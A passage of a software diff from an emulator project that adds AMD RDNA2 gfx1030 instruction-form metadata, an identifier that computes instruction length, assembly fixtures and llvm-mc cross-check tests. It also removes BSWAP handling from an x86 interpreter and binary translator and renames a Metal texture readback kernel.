emit("/// Every gfx1030 base instruction form in the AMD XML, sorted by encoding family and opcode.")
emit("pub static FORMS: [Form; %d] = [" % len(forms))
for form in forms:
flags = sum(flag_bits[flag] for flag in form["flags"])
extensions = sum(extension_bits[item] for item in form["extensions"])
emit(
" Form { name: %s, family: EncodingFamily::%s, opcode: %d, mask: 0x%016x, bits: 0x%016x, bytes: %d, "
"flags: FormFlags(0x%02x), extensions: Extensions(0x%02x), group: %s, operands: OPERANDS[%d] },"
% (json.dumps(form["name"]), form["encoding"], form["opcode"], form["mask"], form["bits"], form["bytes"],
flags, extensions, json.dumps(form["group"]), operand_sets[json.dumps(form["operands"])])
)
emit("];")
return "\n".join(out) + "\n"
def compare(path, expected):
actual = path.read_text() if path.exists() else ""
if actual != expected:
print(f"{path.relative_to(ROOT)} is out of date; rerun crates/isa/generate_rdna2_meta.py", file=sys.stderr)
return False
return True
def main():
parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("--xml", type=Path, help="approved amdgpu_isa_rdna2.xml; regenerates the snapshot too")
parser.add_argument("--check", action="store_true", help="fail when committed outputs differ")
args = parser.parse_args()
if args.xml:
snapshot = snapshot_from_xml(args.xml.read_bytes())
elif SNAPSHOT.exists():
snapshot = SNAPSHOT.read_text()
else:
fail("no snapshot; pass --xml")
rust = rust_from_snapshot(snapshot)
if args.check:
ok = compare(RUST, rust)
if args.xml:
ok = compare(SNAPSHOT, snapshot) and ok
raise SystemExit(0 if ok else 1)
SNAPSHOT.parent.mkdir(parents=True, exist_ok=True)
SNAPSHOT.write_text(snapshot)
RUST.write_text(rust)
if __name__ == "__main__":
main()
+3
View File
@@ -2,7 +2,10 @@
use std::fmt;
pub mod meta;
mod rdna2;
#[rustfmt::skip]
mod rdna2_meta;
pub use rdna2::{
BUFFER_LOAD_DWORD, BUFFER_STORE_DWORD, EXP, IMAGE_SAMPLE_LZ, S_BRANCH, S_CBRANCH_EXECZ,
S_CBRANCH_SCC0, S_CBRANCH_VCCZ, S_CMP_EQ_U32, S_ENDPGM, S_MOV_B32, S_WAITCNT, S_WAITCNT_VSCNT,
+414
View File
@@ -0,0 +1,414 @@
//! Complete gfx1030 instruction metadata generated from AMD's public RDNA 2 XML.
//!
//! Identification here establishes an instruction's form and length only. It is
//! not semantic support: [`crate::Instruction`] lists the forms Xenora executes.
//! The XML names literal, SDWA, DPP and NSA variants without saying when they
//! apply, so [`identify`] implements those length rules by hand from the RDNA 2
//! ISA reference guide (see docs/research/rdna2.md).
use std::fmt;
pub use crate::rdna2_meta::{FIELDS, FORMS, SOURCE_SHA256};
/// AMD base encoding of an instruction form.
#[derive(Clone, Copy, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[allow(missing_docs)]
pub enum EncodingFamily {
Ds,
Exp,
Flat,
Global,
Mimg,
Mtbuf,
Mubuf,
Scratch,
Smem,
Sop1,
Sop2,
Sopc,
Sopk,
Sopp,
Vintrp,
Vop1,
Vop2,
Vop3,
Vop3Sdst,
Vop3p,
Vopc,
}
impl EncodingFamily {
/// Every family, in table order.
pub const ALL: [Self; 21] = [
Self::Ds,
Self::Exp,
Self::Flat,
Self::Global,
Self::Mimg,
Self::Mtbuf,
Self::Mubuf,
Self::Scratch,
Self::Smem,
Self::Sop1,
Self::Sop2,
Self::Sopc,
Self::Sopk,
Self::Sopp,
Self::Vintrp,
Self::Vop1,
Self::Vop2,
Self::Vop3,
Self::Vop3Sdst,
Self::Vop3p,
Self::Vopc,
];
/// Lower-case name used in reports.
pub fn name(self) -> &'static str {
match self {
Self::Ds => "ds",
Self::Exp => "exp",
Self::Flat => "flat",
Self::Global => "global",
Self::Mimg => "mimg",
Self::Mtbuf => "mtbuf",
Self::Mubuf => "mubuf",
Self::Scratch => "scratch",
Self::Smem => "smem",
Self::Sop1 => "sop1",
Self::Sop2 => "sop2",
Self::Sopc => "sopc",
Self::Sopk => "sopk",
Self::Sopp => "sopp",
Self::Vintrp => "vintrp",
Self::Vop1 => "vop1",
Self::Vop2 => "vop2",
Self::Vop3 => "vop3",
Self::Vop3Sdst => "vop3-sdst",
Self::Vop3p => "vop3p",
Self::Vopc => "vopc",
}
}
}
/// Control-flow flags recorded by the XML.
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
pub struct FormFlags(pub u8);
impl FormFlags {
#[allow(missing_docs)]
pub const NONE: Self = Self(0);
#[allow(missing_docs)]
pub const BRANCH: Self = Self(1);
#[allow(missing_docs)]
pub const CONDITIONAL: Self = Self(2);
#[allow(missing_docs)]
pub const INDIRECT: Self = Self(4);
#[allow(missing_docs)]
pub const TERMINATOR: Self = Self(8);
#[allow(missing_docs)]
pub const IMMEDIATE: Self = Self(16);
/// Whether every flag in `other` is set.
pub fn contains(self, other: Self) -> bool {
self.0 & other.0 == other.0
}
}
/// Extension words an instruction form may carry.
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
pub struct Extensions(pub u8);
impl Extensions {
#[allow(missing_docs)]
pub const NONE: Self = Self(0);
/// A source field may select a trailing 32-bit literal.
pub const LITERAL: Self = Self(1);
/// The form always carries a trailing 32-bit literal.
pub const ALWAYS_LITERAL: Self = Self(2);
#[allow(missing_docs)]
pub const SDWA: Self = Self(4);
#[allow(missing_docs)]
pub const DPP8: Self = Self(8);
#[allow(missing_docs)]
pub const DPP16: Self = Self(16);
/// MIMG non-sequential address dwords.
pub const NSA: Self = Self(32);
/// Whether every extension in `other` is allowed.
pub fn contains(self, other: Self) -> bool {
self.0 & other.0 == other.0
}
}
/// One encoded field: pieces of (bit offset, bit count), least significant piece first.
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
pub struct FieldLayout {
#[allow(missing_docs)]
pub name: &'static str,
#[allow(missing_docs)]
pub pieces: &'static [(u8, u8)],
}
impl FieldLayout {
/// Extracts the field from the instruction's first two dwords.
pub fn extract(&self, value: u64) -> u32 {
let mut result = 0u64;
let mut shift = 0;
for &(offset, count) in self.pieces {
result |= ((value >> offset) & ((1u64 << count) - 1)) << shift;
shift += count;
}
result as u32
}
}
/// An operand as described by the XML.
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
#[allow(missing_docs)]
pub struct OperandInfo {
pub field: &'static str,
pub format: &'static str,
pub kind: &'static str,
pub bits: u16,
pub input: bool,
pub output: bool,
pub implicit: bool,
/// Whether the operand occupies microcode bits.
pub encoded: bool,
}
/// One instruction in one base encoding.
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
#[allow(missing_docs)]
pub struct Form {
pub name: &'static str,
pub family: EncodingFamily,
pub opcode: u16,
/// Identifying bits over the first two dwords (little-endian, first dword low).
pub mask: u64,
pub bits: u64,
/// Base length before literal, SDWA, DPP or NSA words.
pub bytes: u8,
pub flags: FormFlags,
pub extensions: Extensions,
pub group: &'static str,
pub operands: &'static [OperandInfo],
}
impl Form {
/// The base encoding's field layouts.
pub fn fields(&self) -> &'static [FieldLayout] {
FIELDS
.iter()
.find(|(family, _)| *family == self.family)
.map(|(_, fields)| *fields)
.unwrap_or(&[])
}
/// The named field's layout, if the encoding has one.
pub fn field(&self, name: &str) -> Option<&'static FieldLayout> {
self.fields().iter().find(|field| field.name == name)
}
}
/// Which extension words an identified instruction carries.
#[derive(Clone, Copy, Debug, Default, Eq, PartialEq)]
pub struct Trailer {
/// A 32-bit literal follows the base encoding.
pub literal: bool,
/// SDWA, DPP8 or DPP16 control dword (VOP1, VOP2, VOPC only).
pub vector_control: Option<VectorControl>,
/// Extra MIMG address dwords.
pub nsa_dwords: u8,
}
/// The dword that replaces SRC0 in a VOP1, VOP2 or VOPC instruction.
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
#[allow(missing_docs)]
pub enum VectorControl {
Sdwa,
Dpp8 { fetch_inactive: bool },
Dpp16,
}
/// An identified instruction.
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
pub struct Identified {
/// The matched form.
pub form: &'static Form,
/// First two dwords; the second is zero for 32-bit encodings.
pub raw: u64,
/// Total length in bytes, including extension words.
pub len: usize,
/// Extension words present.
pub trailer: Trailer,
}
impl Identified {
/// Extracts a named field of the base encoding.
pub fn field(&self, name: &str) -> Option<u32> {
self.form.field(name).map(|field| field.extract(self.raw))
}
}
/// Why an instruction could not be identified.
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
pub enum IdentifyError {
/// Fewer bytes remain than the encoding or its extension words need.
Truncated {
/// Bytes required from the instruction start.
needed: usize,
},
/// No gfx1030 form matches; the bits are reserved or belong to another architecture.
Unassigned,
/// The bits select an extension the form does not allow.
InvalidExtension(&'static str),
}
impl fmt::Display for IdentifyError {
fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
match self {
Self::Truncated { needed } => write!(formatter, "truncated: needs {needed} bytes"),
Self::Unassigned => formatter.write_str("no gfx1030 instruction has this encoding"),
Self::InvalidExtension(what) => write!(formatter, "invalid extension: {what}"),
}
}
}
impl std::error::Error for IdentifyError {}
/// Source operand value selecting a trailing literal (XML `SRC_LITERAL`).
pub const SRC_LITERAL: u32 = 255;
/// VOP1/VOP2/VOPC SRC0 value selecting an SDWA control dword.
pub const SRC_SDWA: u32 = 0xf9;
/// VOP1/VOP2/VOPC SRC0 value selecting a DPP16 control dword.
pub const SRC_DPP16: u32 = 0xfa;
/// VOP1/VOP2/VOPC SRC0 value selecting a DPP8 control dword.
pub const SRC_DPP8: u32 = 0xe9;
/// DPP8 with fetch-inactive set.
pub const SRC_DPP8_FI: u32 = 0xea;
fn read_dword(bytes: &[u8], index: usize) -> Option<u32> {
let start = index.checked_mul(4)?;
let chunk = bytes.get(start..start.checked_add(4)?)?;
Some(u32::from_le_bytes(chunk.try_into().ok()?))
}
/// Finds the form whose identifying bits match.
///
/// Masks never overlap ambiguously; the generator rejects such tables.
pub fn lookup(raw: u64) -> Option<&'static Form> {
FORMS.iter().find(|form| raw & form.mask == form.bits)
}
/// Identifies the instruction at the start of `bytes` and computes its length.
pub fn identify(bytes: &[u8]) -> Result<Identified, IdentifyError> {
let first = read_dword(bytes, 0).ok_or(IdentifyError::Truncated { needed: 4 })?;
let second = read_dword(bytes, 1);
let raw_guess = u64::from(first) | (u64::from(second.unwrap_or(0)) << 32);
// A 32-bit form never inspects the second dword; a 64-bit form needs it.
let form = FORMS
.iter()
.find(|form| (form.bytes == 4 || second.is_some()) && raw_guess & form.mask == form.bits)
.or_else(|| {
// Distinguish a truncated 64-bit instruction from unassigned bits.
FORMS.iter().find(|form| {
form.bytes == 8
&& u64::from(first) & form.mask & 0xffff_ffff == form.bits & 0xffff_ffff
})
})
.ok_or(IdentifyError::Unassigned)?;
if form.bytes == 8 && second.is_none() {
return Err(IdentifyError::Truncated { needed: 8 });
}
let raw = if form.bytes == 4 {
u64::from(first)
} else {
raw_guess
};
let mut trailer = Trailer::default();
let source = |name: &str| form.field(name).map(|field| field.extract(raw));
match form.family {
EncodingFamily::Sop1 | EncodingFamily::Sop2 | EncodingFamily::Sopc => {
trailer.literal = [source("SSRC0"), source("SSRC1")]
.into_iter()
.flatten()
.any(|value| value == SRC_LITERAL);
}
EncodingFamily::Vop1 | EncodingFamily::Vop2 | EncodingFamily::Vopc => {
match source("SRC0") {
Some(SRC_LITERAL) => trailer.literal = true,
Some(SRC_SDWA) => trailer.vector_control = Some(VectorControl::Sdwa),
Some(SRC_DPP16) => trailer.vector_control = Some(VectorControl::Dpp16),
Some(SRC_DPP8) => {
trailer.vector_control = Some(VectorControl::Dpp8 {
fetch_inactive: false,
})
}
Some(SRC_DPP8_FI) => {
trailer.vector_control = Some(VectorControl::Dpp8 {
fetch_inactive: true,
})
}
_ => {}
}
}
EncodingFamily::Vop3 | EncodingFamily::Vop3Sdst | EncodingFamily::Vop3p => {
trailer.literal = [source("SRC0"), source("SRC1"), source("SRC2")]
.into_iter()
.flatten()
.any(|value| value == SRC_LITERAL);
}
EncodingFamily::Mimg => {
trailer.nsa_dwords = source("NSA").unwrap_or(0) as u8;
}
_ => {}
}
if form.extensions.contains(Extensions::ALWAYS_LITERAL) {
trailer.literal = true;
} else if trailer.literal && !form.extensions.contains(Extensions::LITERAL) {
return Err(IdentifyError::InvalidExtension("literal"));
}
match trailer.vector_control {
Some(VectorControl::Sdwa) if !form.extensions.contains(Extensions::SDWA) => {
return Err(IdentifyError::InvalidExtension("sdwa"));
}
Some(VectorControl::Dpp8 { .. }) if !form.extensions.contains(Extensions::DPP8) => {
return Err(IdentifyError::InvalidExtension("dpp8"));
}
Some(VectorControl::Dpp16) if !form.extensions.contains(Extensions::DPP16) => {
return Err(IdentifyError::InvalidExtension("dpp16"));
}
_ => {}
}
if trailer.nsa_dwords > 0 && !form.extensions.contains(Extensions::NSA) {
return Err(IdentifyError::InvalidExtension("nsa"));
}
let len = usize::from(form.bytes)
+ 4 * usize::from(trailer.literal)
+ 4 * usize::from(trailer.vector_control.is_some())
+ 4 * usize::from(trailer.nsa_dwords);
if bytes.len() < len {
return Err(IdentifyError::Truncated { needed: len });
}
Ok(Identified {
form,
raw,
len,
trailer,
})
}
/// Number of forms per encoding family in the metadata.
pub fn inventory() -> Vec<(EncodingFamily, usize)> {
EncodingFamily::ALL
.iter()
.map(|&family| {
(
family,
FORMS.iter().filter(|form| form.family == family).count(),
)
})
.collect()
}
File diff suppressed because it is too large. Load diff
+41
View File
@@ -0,0 +1,41 @@
// SPDX-License-Identifier: GPL-3.0-or-later
// One instruction per line for each family and extension word; checked against llvm-mc.
s_mov_b32 s0, 0x12345678
s_add_u32 s0, s1, 0x1234
s_cmp_eq_u32 s0, 0xdeadbeef
s_movk_i32 s0, 0x1234
s_setreg_imm32_b32 hwreg(HW_REG_MODE), 0x0
s_load_dwordx4 s[0:3], s[4:5], 0x10
s_nop 0
s_endpgm
v_mov_b32 v0, 0x12345678
v_mov_b32_sdwa v0, v1 dst_sel:BYTE_0 dst_unused:UNUSED_PAD src0_sel:DWORD
v_mov_b32_dpp v0, v1 quad_perm:[1,0,3,2] row_mask:0xf bank_mask:0xf
v_mov_b32_dpp v0, v1 dpp8:[1,0,3,2,5,4,7,6]
v_mov_b32_dpp v0, v1 dpp8:[1,0,3,2,5,4,7,6] fi:1
v_add_f32_sdwa v0, v1, v2 dst_sel:DWORD dst_unused:UNUSED_PAD src0_sel:WORD_1 src1_sel:DWORD
v_add_f32_dpp v0, v1, v2 row_shl:1 row_mask:0xf bank_mask:0xf
v_cmp_eq_u32_e32 vcc_lo, 0x1234, v1
v_cmp_eq_u32_sdwa s0, v1, v2 src0_sel:DWORD src1_sel:DWORD
v_fmamk_f32 v0, v1, 0x40000000, v2
v_fmaak_f32 v0, v1, v2, 0x40000000
v_fma_f32 v0, v1, v2, 0x3f800001
v_add_co_u32 v0, s0, v1, v2
v_readlane_b32 s0, v1, 0
v_pk_add_f16 v0, v1, v2
v_pk_fma_f16 v0, v1, v2, 0x3c01
v_interp_p1_f32 v0, v1, attr0.x
ds_write_b32 v0, v1
ds_read_b32 v0, v1 offset:16
buffer_load_dword v0, off, s[0:3], 0
tbuffer_load_format_x v0, off, s[0:3], 0 format:[BUF_FMT_32_FLOAT]
tbuffer_load_format_d16_x v0, off, s[0:3], 0 format:[BUF_FMT_32_FLOAT]
tbuffer_store_format_d16_xyzw v[0:1], off, s[0:3], 0 format:[BUF_FMT_32_FLOAT]
image_sample v[0:3], v[0:1], s[0:7], s[8:11] dmask:0xf dim:SQ_RSRC_IMG_2D
image_sample v[0:3], [v0, v2], s[0:7], s[8:11] dmask:0xf dim:SQ_RSRC_IMG_2D
image_sample_c v[0:3], [v0, v2, v4, v6], s[0:7], s[8:11] dmask:0xf dim:SQ_RSRC_IMG_2D_ARRAY
image_msaa_load v[0:3], v[0:2], s[0:7] dmask:0xf dim:SQ_RSRC_IMG_2D_MSAA unorm
flat_load_dword v0, v[0:1]
global_load_dword v0, v[0:1], off
scratch_load_dword v0, v1, off
exp mrt0 v0, v0, v0, v0 done
+204
View File
@@ -0,0 +1,204 @@
//! Instruction identification against LLVM-assembled fixtures and hand-assembled words.
use std::fs;
use std::path::Path;
use xenora_isa::meta::{
EncodingFamily, Extensions, FORMS, IdentifyError, VectorControl, identify, inventory, lookup,
};
fn words(values: &[u32]) -> Vec<u8> {
values
.iter()
.flat_map(|value| value.to_le_bytes())
.collect()
}
fn name_of(values: &[u32]) -> (&'static str, usize) {
let found = identify(&words(values)).unwrap();
(found.form.name, found.len)
}
/// Mnemonics in a fixture's assembly source, without LLVM's encoding suffixes.
fn source_mnemonics(source: &str) -> Vec<String> {
source
.lines()
.map(|line| line.split("//").next().unwrap().trim())
.filter(|line| !line.is_empty() && !line.starts_with('.') && !line.ends_with(':'))
.map(|line| {
let mnemonic = line.split_whitespace().next().unwrap().to_ascii_uppercase();
mnemonic
.trim_end_matches("_E32")
.trim_end_matches("_E64")
.to_owned()
})
.collect()
}
#[test]
fn llvm_fixtures_identify_with_exact_boundaries_and_mnemonics() {
let directory = Path::new(env!("CARGO_MANIFEST_DIR")).join("../../fixtures/rdna2");
let mut checked = 0;
for entry in fs::read_dir(&directory).unwrap() {
let path = entry.unwrap().path();
if path.extension().is_none_or(|extension| extension != "bin") {
continue;
}
let binary = fs::read(&path).unwrap();
let source = fs::read_to_string(path.with_extension("s")).unwrap();
let mut offset = 0;
let mut identified = Vec::new();
while offset < binary.len() {
let found = identify(&binary[offset..])
.unwrap_or_else(|error| panic!("{} at {offset:#x}: {error}", path.display()));
identified.push(found.form.name.to_owned());
offset += found.len;
}
assert_eq!(offset, binary.len(), "{}", path.display());
assert_eq!(identified, source_mnemonics(&source), "{}", path.display());
checked += 1;
}
assert!(checked >= 11, "only {checked} fixtures found");
}
#[test]
fn hand_assembled_words_identify() {
// SOPP s_endpgm (opcode 1), SOP1 s_mov_b32 s0, s1 (opcode 3).
assert_eq!(name_of(&[0xbf81_0000]), ("S_ENDPGM", 4));
assert_eq!(name_of(&[0xbe80_0301]), ("S_MOV_B32", 4));
// VOP1 v_mov_b32 v0, v1: SRC0 = 256 + 1.
assert_eq!(name_of(&[0x7e00_0301]), ("V_MOV_B32", 4));
// VOP2 v_add_f32 v0, v1, v2: opcode 3 at bits 30:25, VSRC1 = 2 at bits 16:9.
assert_eq!(name_of(&[0x0600_0501]), ("V_ADD_F32", 4));
// VOP3 v_add_f32_e64 v0, v1, v2 (LLVM 23 encoding): opcode 259 = 256 + VOP2 opcode 3.
assert_eq!(name_of(&[0xd503_0000, 0x0202_0501]), ("V_ADD_F32", 8));
}
#[test]
fn literal_sdwa_and_dpp_words_extend_the_length() {
// v_mov_b32 v0, 0x12345678: SRC0 = 255 selects a literal.
let literal = identify(&words(&[0x7e00_02ff, 0x1234_5678])).unwrap();
assert_eq!((literal.form.name, literal.len), ("V_MOV_B32", 8));
assert!(literal.trailer.literal);
// s_add_u32 s0, s1, literal: SSRC1 = 255.
assert_eq!(name_of(&[0x8000_ff01, 0x0000_1234]), ("S_ADD_U32", 8));
// VOP3 with SRC2 = 255.
let fma = identify(&words(&[0xd54b_0000, 0x03fe_0501, 0x3f80_0000]));
assert!(matches!(fma, Ok(found) if found.len == 12 && found.trailer.literal));
let sdwa = identify(&words(&[0x7e00_02f9, 0x0006_0601])).unwrap();
assert_eq!(sdwa.trailer.vector_control, Some(VectorControl::Sdwa));
assert_eq!(sdwa.len, 8);
let dpp16 = identify(&words(&[0x7e00_02fa, 0x00ff_0001])).unwrap();
assert_eq!(dpp16.trailer.vector_control, Some(VectorControl::Dpp16));
let dpp8 = identify(&words(&[0x7e00_02ea, 0x00fa_c688])).unwrap();
assert_eq!(
dpp8.trailer.vector_control,
Some(VectorControl::Dpp8 {
fetch_inactive: true
})
);
}
#[test]
fn truncated_and_unassigned_inputs_are_rejected() {
assert_eq!(identify(&[]), Err(IdentifyError::Truncated { needed: 4 }));
assert_eq!(
identify(&[0x00, 0x00, 0x81]),
Err(IdentifyError::Truncated { needed: 4 })
);
// VOP3 first dword alone.
assert_eq!(
identify(&words(&[0xd503_0000])),
Err(IdentifyError::Truncated { needed: 8 })
);
// Literal selected but absent.
assert_eq!(
identify(&words(&[0x7e00_02ff])),
Err(IdentifyError::Truncated { needed: 8 })
);
// SOPP opcodes are 7 bits; this table has no SOPP opcode 127.
assert!(lookup(0xbf80_0000 | (127 << 16)).is_none());
assert_eq!(
identify(&words(&[0xbfff_0000])),
Err(IdentifyError::Unassigned)
);
}
#[test]
fn extensions_outside_a_forms_metadata_are_rejected() {
let without_sdwa = FORMS
.iter()
.find(|form| {
form.family == EncodingFamily::Vop1 && !form.extensions.contains(Extensions::SDWA)
})
.expect("a VOP1 form without SDWA");
let word = (without_sdwa.bits as u32) | 0xf9;
assert_eq!(
identify(&words(&[word, 0])),
Err(IdentifyError::InvalidExtension("sdwa"))
);
}
#[test]
fn every_form_identifies_as_itself() {
for form in &FORMS {
assert_eq!(lookup(form.bits).map(|found| found.name), Some(form.name));
assert_eq!(
lookup(form.bits).unwrap().family,
form.family,
"{}",
form.name
);
}
let total: usize = inventory().iter().map(|(_, count)| count).sum();
assert_eq!(total, FORMS.len());
}
#[test]
fn documented_form_counts_match_the_generated_table() {
let count = FORMS.len();
let count = format!("{},{:03}", count / 1000, count % 1000);
let families = EncodingFamily::ALL.len();
let root = Path::new(env!("CARGO_MANIFEST_DIR")).join("../..");
for (file, claim) in [
(
"docs/research/rdna2.md",
format!("{count} forms in {families} encoding families"),
),
(
"CHANGELOG.md",
format!("{count} base forms across {families} encoding families"),
),
] {
let text = fs::read_to_string(root.join(file)).unwrap();
assert!(
text.split_whitespace()
.collect::<Vec<_>>()
.join(" ")
.contains(&claim),
"{file} must state \"{claim}\""
);
}
}
#[test]
fn first_word_opcode_table_agrees_with_full_metadata() {
use xenora_isa::{BUFFER_LOAD_DWORD, S_ENDPGM, V_ADD_F32, V_ADD_NC_U32, V_MOV_B32};
for (opcode, name, family) in [
(
BUFFER_LOAD_DWORD,
"BUFFER_LOAD_DWORD",
EncodingFamily::Mubuf,
),
(S_ENDPGM, "S_ENDPGM", EncodingFamily::Sopp),
(V_ADD_F32, "V_ADD_F32", EncodingFamily::Vop2),
(V_ADD_NC_U32, "V_ADD_NC_U32", EncodingFamily::Vop3),
(V_MOV_B32, "V_MOV_B32", EncodingFamily::Vop1),
] {
let form = FORMS
.iter()
.find(|form| form.name == name && form.family == family)
.unwrap();
assert!(opcode.matches(form.bits as u32), "{name}");
}
}
+87
View File
@@ -0,0 +1,87 @@
//! LLVM oracle for instruction identification: names and lengths from llvm-mc encodings.
use std::process::Command;
use xenora_isa::meta::identify;
const SOURCE: &str = include_str!("llvm/identify.s");
fn encodings() -> Vec<(String, Vec<u8>)> {
let executable = std::env::var_os("LLVM_BIN").map_or_else(
|| "llvm-mc".into(),
|directory| std::path::PathBuf::from(directory).join("llvm-mc"),
);
let path = std::env::temp_dir().join(format!("xenora-identify-{}.s", std::process::id()));
std::fs::write(&path, SOURCE).unwrap();
let output = Command::new(executable)
.args([
"-triple=amdgcn-amd-amdhsa",
"-mcpu=gfx1030",
"-mattr=+wavefrontsize32",
"-show-encoding",
])
.arg(&path)
.output()
.expect("launch llvm-mc (provide its directory in LLVM_BIN or put it on PATH)");
std::fs::remove_file(&path).ok();
assert!(
output.status.success(),
"{}",
String::from_utf8_lossy(&output.stderr)
);
String::from_utf8(output.stdout)
.unwrap()
.lines()
.filter_map(|line| {
let (text, encoding) = line.split_once("; encoding: [")?;
let mnemonic = text.split_whitespace().next()?.to_ascii_uppercase();
let bytes = encoding
.trim_end_matches(']')
.split(',')
.map(|byte| u8::from_str_radix(byte.trim().trim_start_matches("0x"), 16).unwrap())
.collect();
Some((mnemonic, bytes))
})
.collect()
}
fn base_name(mnemonic: &str) -> &str {
["_E32", "_E64", "_SDWA", "_DPP"]
.iter()
.fold(mnemonic, |name, suffix| name.trim_end_matches(suffix))
}
#[test]
#[ignore = "requires LLVM with the gfx1030 AMDGPU target"]
fn identification_matches_llvm_names_and_lengths() {
let encodings = encodings();
let expected_lines = SOURCE
.lines()
.filter(|line| !line.is_empty() && !line.starts_with("//"))
.count();
assert_eq!(encodings.len(), expected_lines);
// The VOP3 and VOP3P literal probes must really carry a literal trailer:
// 1.0 in either width would be an inline constant and only eight bytes.
for (probe, literal) in [("V_FMA_F32", 0x3f80_0001_u32), ("V_PK_FMA_F16", 0x3c01)] {
let (_, bytes) = encodings
.iter()
.find(|(mnemonic, _)| mnemonic == probe)
.unwrap_or_else(|| panic!("{probe} probe missing"));
assert_eq!(bytes.len(), 12, "{probe}");
assert_eq!(bytes[8..], literal.to_le_bytes(), "{probe}");
}
let mut stream = Vec::new();
for (mnemonic, bytes) in &encodings {
let found = identify(bytes).unwrap_or_else(|error| panic!("{mnemonic}: {error}"));
assert_eq!(found.form.name, base_name(mnemonic), "{mnemonic}");
assert_eq!(found.len, bytes.len(), "{mnemonic}");
stream.extend_from_slice(bytes);
}
let mut offset = 0;
for (mnemonic, bytes) in &encodings {
let found = identify(&stream[offset..]).unwrap();
assert_eq!(found.len, bytes.len(), "{mnemonic} in stream");
offset += found.len;
}
assert_eq!(offset, stream.len());
}
+9 -14
View File
@@ -276,21 +276,16 @@ impl<'a> Interpreter<'a> {
// HLT: Halt execution
0xF4 => Ok(Some(ExitReason::Halt)),
0x0F => match self.fetch_u8()? {
0x05 => Ok(Some(ExitReason::Syscall(self.cpu.get(Register::Rax)))),
op @ 0xC8..=0xCF => {
let reg = Register::from_index((op & 7) | (u8::from(rex_b) << 3));
let value = self.cpu.get(reg);
let reversed = if rex_w {
value.swap_bytes()
} else {
u64::from((value as u32).swap_bytes())
};
self.cpu.set(reg, reversed);
Ok(None)
// SYSCALL: 0x0F 0x05
0x0F => {
let second = self.fetch_u8()?;
if second == 0x05 {
let syscall_num = self.cpu.get(Register::Rax);
Ok(Some(ExitReason::Syscall(syscall_num)))
} else {
Err(ExitReason::IllegalInstruction(second))
}
op => Err(ExitReason::IllegalInstruction(op)),
},
}
// MOV r32, imm32 (0xB8 + reg) or MOV r64, imm64 with REX.W
0xB8..=0xBF => {
-10
View File
@@ -1077,16 +1077,6 @@ impl DbtEngine {
cur_rip += 1;
match op2 {
// BSWAP r32/r64: the register is encoded in the opcode.
0xC8..=0xCF => {
insn_count += 1;
let reg = (op2 & 7) | (u8::from(rex_b) << 3);
let offset = u32::from(reg) * 8;
asm.ldr_uoff_64(X9, X19, offset);
// REV X9, X9 or REV W9, W9. A W write clears the upper half.
asm.emit(if rex_w { 0xdac0_0d29 } else { 0x5ac0_0929 });
asm.str_uoff_64(X9, X19, offset);
}
// Jcc rel32 (0x0F 0x80..=0x8F)
0x80..=0x8F => {
insn_count += 1;
-78
View File
@@ -1,78 +0,0 @@
// SPDX-License-Identifier: GPL-3.0-or-later
use xenora_loader::cpu::{CpuState, ExitReason, Interpreter, RFlags};
use xenora_loader::dbt::DbtEngine;
use xenora_loader::memory::{GuestMemory, MemoryPermissions};
fn check_bswap(native: bool) {
const ENTRY: u64 = 0x1000;
const INPUT: u64 = 0x1122_3344_5566_7788;
for reg in 0_u8..16 {
for width in [16, 32, 64] {
let wide = width == 64;
let mut code = Vec::new();
if width == 16 {
code.push(0x66);
}
let rex = 0x40 | (u8::from(wide) << 3) | (reg >> 3);
if rex != 0x40 {
code.push(rex);
}
code.extend([0x0f, 0xc8 + (reg & 7)]);
let mut memory = GuestMemory::new();
memory
.map_region_with_data(ENTRY, code.len(), MemoryPermissions::READ_EXECUTE, &code)
.unwrap();
let mut cpu = CpuState::new(ENTRY, 0);
cpu.gpr.fill(0xdead_beef);
cpu.gpr[reg as usize] = INPUT;
cpu.flags = RFlags {
cf: wide,
zf: !wide,
sf: wide,
of: !wide,
};
let flags = cpu.flags;
let mut expected = cpu.gpr;
let result = if native {
DbtEngine::new(16 * 1024)
.unwrap()
.run(&mut cpu, &mut memory, 1)
} else {
Interpreter::new(cpu, &mut memory, 1).run()
};
if width == 16 {
assert!(matches!(
result.exit_reason,
ExitReason::IllegalInstruction(_)
));
assert_eq!(result.instructions_executed, 0);
} else {
assert_eq!(
result.exit_reason,
ExitReason::StepLimitExceeded,
"{code:02x?}"
);
assert_eq!(result.instructions_executed, 1);
assert_eq!(result.final_state.rip, ENTRY + code.len() as u64);
expected[reg as usize] = if wide {
0x8877_6655_4433_2211
} else {
0x8877_6655
};
}
assert_eq!(result.final_state.gpr, expected);
assert_eq!(result.final_state.flags, flags);
}
}
}
#[test]
fn interpreter_bswap() {
check_bswap(false);
}
#[test]
fn native_bswap() {
check_bswap(true);
}
+78 -22
View File
@@ -16,7 +16,7 @@ use objc2_metal::{
MTLResourceOptions, MTLShaderValidation, MTLSize, MTLStorageMode, MTLTexture,
MTLTextureDescriptor, MTLTextureUsage,
};
use xenora_texture::{Bc1Upload, TiledBc1};
use xenora_texture::{Bc1Upload, BcAlphaFormat, BcAlphaUpload, TiledBc1};
#[path = "render.rs"]
mod render;
@@ -26,12 +26,12 @@ const MAX_GROUPS: usize = 64;
const MAX_GRID_WORDS: usize = MAX_GROUPS * MAX_THREADS_PER_GROUP;
const MAX_SOURCE_BYTES: usize = 64 * 1024;
const BC1_READBACK: &str = r"
const BC_READBACK: &str = r"
#include <metal_stdlib>
using namespace metal;
kernel void read_bc1(texture2d<float, access::read> image [[texture(0)]],
device uint *output [[buffer(1)]],
uint index [[thread_position_in_grid]]) {
kernel void read_bc(texture2d<float, access::read> image [[texture(0)]],
device uint *output [[buffer(1)]],
uint index [[thread_position_in_grid]]) {
uint width = image.get_width();
uint4 channels = uint4(round(image.read(uint2(index % width, index / width)) * 255.0f));
output[index] = channels.r | (channels.g << 8u) | (channels.b << 16u) | (channels.a << 24u);
@@ -88,6 +88,17 @@ pub struct MetalError {
}
